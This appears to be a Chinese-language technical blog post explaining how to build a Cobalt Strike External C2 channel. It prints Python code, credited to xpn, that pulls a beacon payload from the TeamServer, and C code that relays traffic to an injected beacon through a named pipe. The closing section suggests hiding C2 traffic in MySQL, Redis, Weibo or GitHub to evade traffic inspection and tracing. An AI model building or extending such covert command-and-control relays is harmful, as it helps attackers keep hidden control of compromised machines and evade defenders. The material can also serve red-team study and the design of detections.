External C2

原理

Cobalt Strike TeamServer - TCP -> External C2 Server - Custom Protocol -> External C2 Client - SMB Share -> SMB Beacon

构建

启动External C2 Listen

1675826811709

Server与Client代码逻辑

Server功能如下:

  1. 通过External C2 协议与TeamServer交换数据。
  2. 通过自定义协议与Client交换数据。

Client功能如下:

  1. 通过SMB协议与Beacon交换数据。
  2. 通过自定义协议与Server交换数据。

代码实现

把代码分成4部分

  • Server与ExternalC2数据交换实现
  • 自定义协议在Server上的实现
  • 自定义协议在Client上的实现
  • Client与SMB Beacon数据交换实现

Server <-> ExternalC2 Listener

以下代码节选自xpn

通过sendToTS()发送配置项

1
2
3
4
5
6
7
8
9
10
11
12
# Now we have a beacon connection, we kick off comms with CS External C2
self._socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("127.0.0.1", self.port))

# Send out config options
self.sendToTS("arch=x86")
self.sendToTS("pipename=xpntest")
self.sendToTS("block=500")
self.sendToTS("go")

# Receive the beacon payload from CS to forward to our custom beacon
data = self.recvFromTS()

Client <-> SMB Beacon

以下代码节选自xpn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
HANDLE connectBeaconPipe(const char *pipeName) {
HANDLE beaconPipe;

beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);

return beaconPipe;
}

// Receives data from our injected beacon via a named pipe
char *recvFromBeacon(HANDLE pipe, DWORD *len) {
char *buffer;
DWORD bytesRead = 0, totalLen = 0;

*len = 0;

ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char *)malloc(*len);

while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}
return buffer;
}

// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char *data, DWORD len) {
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}

未实现的想法

或许通过这种方法可以仿照构造出其他的C2隧道,比如用MySQL、redis或者其他的云服务作为通信隧道以对抗流量检查。但个人觉得使用这种方法或许缺乏反溯源能力,毕竟要同时连接到一个公共的数据库服务上,且登录密钥是保存在Client中,很难不被分析出来,并通过查询数据库连接记录溯源到C2。或许能够通过配置数据库不记录连接记录进行对抗,但终究不是好办法。

如果代码能力强的话或许可以实现像APT组织一样使用Weibo、github等公共消息平台进行数据传递。

其他高级利用姿势

Reference